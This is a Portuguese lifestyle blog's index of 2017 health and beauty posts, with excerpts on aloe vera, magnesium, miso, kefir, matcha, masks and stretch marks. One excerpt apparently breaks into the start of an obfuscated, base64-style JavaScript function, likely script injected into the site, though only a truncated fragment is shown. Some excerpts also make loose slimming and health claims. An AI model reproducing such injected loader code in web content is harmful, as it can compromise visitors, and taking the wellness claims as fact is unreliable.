Jun 13, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 10 Benefícios da Aloe Vera De certeza que já ouvi falar em Aloe Vera, mas será que conhece bem esta planta fantástica? Hoje falo-lhe dos benefícios da Aloe Vera. É que esta planta, para além da sua beleza natural, tem inúmeros benefícios...
Jun 10, 2017 | Saúde e bem estar
Como atenuar o cabelo grisalho – causas e receitas caseiras O cabelo grisalho é um preocupação comum a muitas pessoas, à medida que os anos vão passado. Algumas pessoas assumem orgulhosamente os seus cabelos grisalhos, mas outras não gostam particularmente...
Jun 8, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 10 benefícios do magnésio Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...
Jun 7, 2017 | Saúde e bem estar
Os melhores alimentos para os dias de calor Está quase a chegar o verão mas os dias de calor já se fazem sentir. Além de ser absolutamente fundamental manter-se hidratado, o calor pede alimentos ricos em vitaminas e minerais. Por isso, hoje dou-lhe os melhores...
Jun 6, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios do miso O miso é um alimento tradicional da cozinha japonesa e tem ganho cada vez mais adeptos graças aos benefícios que possui. Assim, hoje mostro-lhe os benefícios do miso e uma receita, para que experimente em casa este...
Jun 5, 2017 | Saúde e bem estar
Os alimentos ideais para cada horário Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jun 2, 2017 | Estilo e beleza
3 máscaras caseiras para mimar a sua pele A nossa pele é o nosso cartão de visita! É importante cuidá-la e mimá-la devidamente. Hoje trago-lhe receitas de máscaras caseiras que você próprio pode fazer em casa com ingredientes acessíveis a todas as carteiras. É...
Jun 1, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis – 6 benefícios do kefir para a sua saúde Há muitas pessoas que querem perder peso mas não conseguem. Têm sido publicados muitos estudos acerca desta temática e há cada vez mais especialistas que coincidem na ideia de que a flora intestinal é...
Mai 31, 2017 | Saúde e bem estar
Matcha – o chá que mais emagrece O chá matcha é um dos chás mais conhecidos no Oriente, onde nos garantem que é o chá que mais emagrece. Mas afinal o que é o chá matcha? Trata-se de um chá verde, originário do Japão, muito conhecido por ser um importante...
Mai 27, 2017 | Equilíbrio, Estilo e beleza
Como prevenir e tratar as estrias Com o bom tempo pensamos mais na praia, mas também nas gordurinhas que podemos ter acumulado ao longo destes meses devido a alguns excessos. Há a tentação de fazer dietas para chegar mais magro ao Verão. Podemos fazer dieta, sim,...
